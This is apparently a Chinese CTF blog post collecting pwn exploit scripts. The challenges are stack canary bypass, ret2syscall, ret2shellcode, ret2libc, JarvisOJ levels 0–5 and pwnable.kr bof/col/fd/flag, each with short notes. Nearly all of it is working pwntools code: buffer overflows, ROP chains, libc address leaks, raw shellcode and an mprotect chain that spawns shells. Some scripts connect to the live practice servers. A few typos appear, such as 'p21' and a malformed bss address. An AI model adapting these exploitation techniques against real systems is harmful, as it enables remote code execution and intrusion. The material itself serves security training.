exp合集

0x00:前言

这里有许多我做过的pwn题目的exp记录,包括各大平台的一些题目,不断更新,我会简要写一些做题的思路,有时间就弄出来当成一个专题详解。

0x01:栈系列

canary绕过

题目链接

https://github.com/ThunderJie/CTF-Practice/tree/master/CTF-Pwn/canary

思路和exp

通过找print函数输出的地方距离canary的偏移从而打印出canary实现绕过

canary.c

#include<stdio.h>
void exploit()
{
    system("/bin/sh");
}
void func()
{
    char str[0x20];
    read(0, str, 0x50);
    printf(str);
    read(0, str, 0x50);
}
int main()
{
    func();
    return 0;
}

exp

from pwn import * 

r = process('./canary')

string = "%15$08x"

r.sendline(string)

canary = r.recv()[:8]

canary = canary.decode("hex")[::-1]

print canary

payload = "a"*32 + canary + 3*4*"a" +p32(0x80484cb)

r.sendline(payload)

r.interactive()

ret2syscall

题目链接

https://github.com/ThunderJie/CTF-Practice/tree/master/CTF-Pwn/ret2syscall

exp

练习对于Ropgadget的使用

from pwn import *

p=process('./ret2syscall')

pop_eax_ret = p32(0x080bb196)

pop_3_ret = p32(0x0806eb90)

bin_sh = p32(0x080be408)

int_0x80 = p32(0x08049421)

payload = 112*'a'+ pop_eax_ret + p32(0xb) + pop_3_ret + p32(0) + p32(0) + bin_sh + int_0x80 #int 0x80(0xb,'/bin/sh',0x0,0x0)

p.sendline(payload)

p.interactive()

ret2shellcode

题目链接

https://github.com/ThunderJie/CTF-Practice/tree/master/CTF-Pwn/ret2shellcode

exp

找好偏移,将shellcode写入bss段

from pwn import *

p=process('./ret2shellcode')

context(arch = 'i386',os = 'linux')

shellcode = asm(shellcraft.sh())

payload = shellcode.ljust(112,'a') + p32(0x804a080)

p.sendline(payload)

p.interactive()

re2libc

题目链接

https://github.com/ThunderJie/CTF-Practice/tree/master/CTF-Pwn/ret2libc

retlibc1

有system函数,调用gets函数手动输入’/bin/sh’获取shell,偏移+调用put函数首地址+调用put函数的返回地址+bss地址+system函数地址+system函数返回值+bss地址, get函数输入的内容保存在bss_addr中,我们输入’/bin/sh’,然后调用system函数执行bss_addr中的内容getshell

from pwn import *

p = process('./ret2libc1')

offset = 112

bss_addr = 0x804a04016 # readelf -S ret2libc2

get_addr = 0x8048460 # objdump -d -j .plt ret2libc2

pop_ret = 0x0804872f # ROPgadget --binary ret2libc2 --only "pop|ret"

system_addr = 0x8048490 # objdump -d -j .plt ret2libc2

payload = 'a'*offset + p32(get_addr) + p32(pop_ret) + p32(bss_addr) + p32(system_addr) + p32(0xdeadbeef) + p32(bss_addr)

p.sendline(payload)

p.interactive()

re2libc2

不存在’/bin/sh’字符串和system函数,我们需要泄露libc地址,libc查询网站:https://libc.blukat.me/

from pwn import *

p = process('./ret2libc2')

offset = 112

elf = ELF('./ret2libc2')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_plt = elf.symbols['_start']

#查询得到libc版本为 libc6_2.27-3ubuntu1_i386 
libc_puts = 0x067b40
libc_system = 0x03d200
libc_bin_sh = 0x17e0cf

payload = 'a'*112 + p32(puts_plt) + p32(main_plt) + p32(puts_got) # 因为前面执行过一次puts函数,根据延迟绑定基址,这里打印puts函数的got表可以泄露puts函数真正的地址,执行完puts之后回到main函数准备下一次payload发送

p.sendlineafter("!?",payload) 

puts_addr = u32(p.recv()[0:4]) # 接受到真正puts函数在程序中的地址

libcbase = puts_addr - libc_puts # 计算偏移得到system和’/bin/sh’真正的地址
sys_addr = libcbase + libc_system
bin_sh = libcbase + libc_bin_sh

payload2 = 'a'*112 + p32(sys_addr) + p32(0xdeadbeef) + p32(bin_sh) # 执行system函数getshell

p.sendline(payload2)

p.interactive()

0x02:JarvisOj

Tell me something

exp

from pwn import*

r = remote('pwn.jarvisoj.com',9876)

payload = 'a'*0x88 + p64(0x400620)

r.sendline(payload)

r.interactive()

level0

exp

from pwn import*

r = remote('pwn2.jarvisoj.com',9881)

payload = 'a'*0x88 + p64(0x400596)

r.sendline(payload)

r.interactive()

level1

exp

from pwn import*

r = remote('pwn2.jarvisoj.com',9877)

shellcode = asm(shellcraft.sh())

r.recvuntil('x')

buff_addr = r.recvuntil('?')

buff_addr = int(buff_addr[:-1],16)

payload = shellcode + 'a'*(0x88+0x4-len(shellcode)) + p64(buff_addr) 

r.sendline(payload)

r.interactive()

level2

exp

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

io = remote("pwn2.jarvisoj.com",9878)
elf = ELF("./level2")

sys_addr = elf.symbols["system"]
bin_addr = elf.search("/bin/sh").next()

payload = 'a'*(0x88 + 0x4) #辣鸡填充值
payload += p32(sys_addr)   #覆盖返回地址到system函数
payload += p32(0xdeadbeef)  #随意填写system函数调用结束的返回地址
payload += p32(bin_addr)  #system函数的参数,指向“/bin/sh”,实现调用

io.recvline()
io.sendline(payload)
io.interactive()
io.close()

level2_x64

exp

在32位程序运行中,函数参数直接压入栈中:

调用函数时栈的结构为:调用函数地址->函数的返回地址->参数n->参数n-1->···->参数1

在64位程序运行中,参数传递需要寄存器:

64位参数传递约定:前六个参数按顺序存储在寄存器rdi, rsi, rdx, rcx, r8, r9中,参数超过六个时,从第七个开始压入栈中

from pwn import *

#r = process('./level2_x64')

r = remote('pwn2.jarvisoj.com',9882)

r.recvuntil('\n')

sys_addr = 0x4004c0

sh_addr = 0x600A90

payload = 'a'*0x88+p64(0x4006b3)+p64(sh_addr)+p64(sys_addr)

r.send(payload)

r.interactive()

level3

exp

from pwn import*

r = remote('pwn2.jarvisoj.com',9879)

libc = ELF('./libc-2.19.so')

symbol = ELF('./level3')

write_plt = symbol.symbols['write']

write_got = symbol.got['write']

libc_system = libc.symbols['system']

libc_write = libc.symbols['write']

libc_sh=libc.search('/bin/sh').next()

vulner_func_addr = 0x804844b

r.recvuntil('\n')

payload = 'a'*(0x88+0x4) + p32(write_plt) + p32(vulner_func_addr) + p32(1) + p32(write_got) + p32(4)

r.send(payload)

write_addr = u32(r.recv(4))

print write_addr

system_addr = write_addr - libc_write + libc_system 

sh_addr = write_addr - libc_write + libc_sh

payload2 = 'a'*(0x88+0x4) + p32(system_addr) + 'aaaa' + p32(sh_addr)

r.send(payload2)

r.interactive()

level3_x64

exp

from pwn import *

r = remote('pwn2.jarvisoj.com',9883)

libc = ELF('libc-2.19.so')

elf = ELF('./level3_x64')

write_plt = elf.plt['write']
write_got = elf.got['write']
func = elf.symbols['vulnerable_function']

libc_write = libc.symbols['write']
libc_system = libc.symbols['system']
libc_sh = libc.search('/bin/sh').next()

pop_rdi_ret = 0x4006b3 #ROPgadget --binary level3_x64 --only 'pop|ret'

pop_rsi_pop_r15_ret = 0x4006b1

payload = 'a'*0x88+p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_pop_r15_ret)+p64(write_got)+p64(0xdeadbeef)+p64(write_plt)+p64(func)

r.recvuntil('\n')

r.send(payload)

write_addr = u64(r.recv(8))

sys_addr = write_addr - libc_write + libc_system

bin_addr = write_addr - libc_write + libc_sh

payload2 = 'a'*0x88 + p64(pop_rdi_ret) + p64(bin_addr) + p64(sys_addr) + p64(0xdeadbeef)

r.sendline(payload2)

r.interactive()

level4

exp

from pwn import *
 
r = remote("pwn2.jarvisoj.com", 9880)
 
def leak(addr):
    write_plt = p32(0x08048340)
    fun_addr = p32(0x0804844b)
    payload = 'a' * (0x88 + 0x4) + write_plt + fun_addr + p32(1) + p21(addr) + p32(4) #write(1, addr, 4);
    r.send(payload)
    leaked = r.recv(4)
    return leaked
 
d = DynELF(leak, elf=ELF("./level4"))
system_addr = d.lookup('system', 'libc')
 
data_addr = 0x0804A024 # readelf -S level4

read_plt = p32(0x08048310)
fun_addr = p32(0x0804844b)
payload = 'a' * (0x88 + 0x4) + read_plt + fun_addr + p32(0) + p32(data_addr) + p32(8)
r.send(payload)

r.send("/bin/sh\x00")

payload = 'a' * (0x88 + 0x4) + p32(system_addr) + 'aaaa' + p32(data_addr)
r.send(payload)

r.interactive()

level5

exp

from pwn import*
context.log_level = "debug"
p=remote('pwn2.jarvisoj.com',9884)
elf = ELF("./level3_x64")
libc = ELF("./libc-2.19.so")

pause()

write_plt = elf.plt["write"]
write_got = elf.got["write"]
vul_add = elf.symbols["vulnerable_function"]
rdi = 0x00000000004006b3
rsi_r15 = 0x00000000004006b1

p1 = "1" * (0x80 + 8)
p1 += p64(rdi)
p1 += p64(1)
p1 += p64(rsi_r15)
p1 += p64(write_got)
p1 += "1" * 8
p1 += p64(write_plt)
p1 += p64(vul_add)
p.recv()
sleep(0.2)

p.send(p1)


data = p.recv(8)
read_addr = u64(data)

libc.base = read_addr - libc.symbols["write"]
mprotect_addr = libc.base + libc.symbols["mprotect"]
print "mprotect: ["+hex(mprotect_addr)+"]"

pause()

read_plt = elf.symbols['read']
bss_base = elf.bss()
rdi = 0x00000000004006b3
rsi_r15 = 0x00000000004006b1

payload2 = 'a'*0x80 + 'a'*8
payload2 += p64(rdi) + p64(0) 
payload2 += p64(rsi_r15)  + p64(bss_base) +"1"*8
payload2 += p64(read_plt)
payload2 += p64(vul_add)

sleep(0.2)
p.send(payload2)
shellcode = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
sleep(0.2)
p.send(shellcode)

pause()

bss_got= 0x0000000000600A48
payload3 = 'a'*0x80+'a'*8
payload3 += p64(rdi)+p64(0)
payload3 += p64(rsi_r15) + p64(bss_got) + "1"*8
payload3 += p64(read_plt) + p64(vul_add)

sleep(0.2)
p.send(payload3)
sleep(0.2)
p.send(p64(bss_base))

pause()
mprotect_got = 0x0000000000600A50
payload4 = 'a'*0x80+'a'*8
payload4 += p64(rdi) + p64(0)
payload4 += p64(rsi_r15) + p64(mprotect_got) + p64(0)
payload4 += p64(read_plt) +p64(vul_add)

sleep(0.2)
p.send(payload4)
sleep(0.2)
p.send(p64(mprotect_addr))

pause()
gadget_start = 0x00000000004006A6
gadget_end = 0x0000000000400690

payload5 = 'a'*0x80+'a'*8
payload5 += p64(gadget_start) + p64(0) + p64(0) + p64(1) +p64(mprotect_got) + p64(7) +p64(0x1000)+p64(0x600000)
payload5 +=p64(gadget_end) 
payload5 += 'a'*8 + p64(0) + p64(1) + p64(bss_got) + p64(0) + p64(0) + p64(0)
payload5 += p64(gadget_end)


sleep(0.2)

p.send(payload5)
p.interactive()

0x03:pwnable.kr

bof

exp

from pwn import * 

r = remote('pwnable.kr',9000)

payload = "a"*52+ p32(0xCAFEBABE)

r.sendline(payload)

r.interactive()

col

思路

col@ubuntu:~$ cat col.c
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
	int* ip = (int*)p;
	int i;
	int res=0;
	for(i=0; i<5; i++){
		res += ip[i];
	}
	return res;
}

int main(int argc, char* argv[]){
	if(argc<2){
		printf("usage : %s [passcode]\n", argv[0]);
		return 0;
	}
	if(strlen(argv[1]) != 20){
		printf("passcode length should be 20 bytes\n");
		return 0;
	}

	if(hashcode == check_password( argv[1] )){
		system("/bin/cat flag");
		return 0;
	}
	else
		printf("wrong passcode.\n");
	return 0;
}

输入分五次组,将0x21DD09EC拆分为5组,发送即可得到flag,注意小端

./col $(python -c "print '\xC6\xCE\xC5\x06'*4 + '\xD4\xCE\xC5\x06'")

fd

思路

fd@ubuntu:~$ cat fd.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
	if(argc<2){
		printf("pass argv[1] a number\n");
		return 0;
	}
	int fd = atoi( argv[1] ) - 0x1234;
	int len = 0;
	len = read(fd, buf, 32);
	if(!strcmp("LETMEWIN\n", buf)){
		printf("good job :)\n");
		system("/bin/cat flag");
		exit(0);
	}
	printf("learn about Linux file IO\n");
	return 0;

}

需要输入的参数等于0x1234,但是我们需要转换为10进制,即4660,然后再输入LETMEIN即可得到flag

fd@ubuntu:~$ ./fd 4660
LETMEWIN
good job :)
mommy! I think I know what a file descriptor is!!

flag

思路

拖入IDA发现有壳,安装upx脱壳工具

sudo apt install upx

执行脱壳操作

upx -d flag

得到的程序用IDA64位打开双击flag字符串就可以得到flag

  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值